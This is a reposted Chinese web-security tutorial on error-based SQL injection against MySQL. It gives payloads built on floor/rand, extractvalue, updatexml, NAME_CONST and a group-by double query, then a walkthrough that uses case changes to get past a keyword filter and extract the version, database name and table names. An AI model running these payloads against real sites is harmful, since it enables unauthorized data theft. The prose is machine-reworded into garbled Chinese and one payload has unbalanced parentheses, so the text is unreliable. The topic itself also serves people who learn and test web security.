DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

SQL注入之mysql显示错误的注入分析

09-17 WEB安全

在咱们现实渗入渗出中,明显发明一个注入点,本认为丢给sqlmap就能够了,成果sqlmap只表现确实是注入点,然则数据库却获得不了,如图1所示,这时候咱们能够应用手工停止注入,断定出过滤规矩和根本过滤环境,然后再抉择对应的sqlmap剧本(假如有的话),本文主如果报告若何经由进程mysql函数报错来停止注入,别的若何应用手工停止全程注入的应用进程,假如你晓得sqlmap外面有对应的剧本的话,烦请告诉一下,感谢!。

SQL注入之mysql显示错误的注入分析


图1 获得数据库失败
    此时咱们能够斟酌下是不是显错注入,对付显错注入咱们能够应用mysql显错注入函数停止查问数据库信息。
    经由进程floor报错:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

and (select count(*) from (select 1 union select null union select  !1)x group by concat((select version()),floor(rand(0)*2)))
    经由进程ExtractValue报错:

and extractvalue(1, concat(0x7f, (select version()),0x7f))
    经由进程UpdateXml报错:

and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
    经由进程NAME_CONST报错:

and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
    经由进程差错的两重查问:

or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
    在这里咱们以UpdateXml报错停止实战演示,如图2是一个显错注入点。

SQL注入之mysql显示错误的注入分析


图2 显错注入点
    此时咱们将经由进程UpdateXml来停止SQL注入,这里因为对关键字停止了过滤,是以咱们必要应用巨细写来停止绕过,起首咱们查问数据库版本,如图3所示,胜利获得了数据库版本。

SQL注入之mysql显示错误的注入分析


图3 获得数据库版本信息
    获得数据库名,如图4所示。

SQL注入之mysql显示错误的注入分析


图4 获得数据名
    获得表名,如图5所示。

SQL注入之mysql显示错误的注入分析


图5 获得表名
    后续操纵请参考文章《mysql手工注入》,这里再也不停止包袱!

 

【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//web/61.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 698415访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X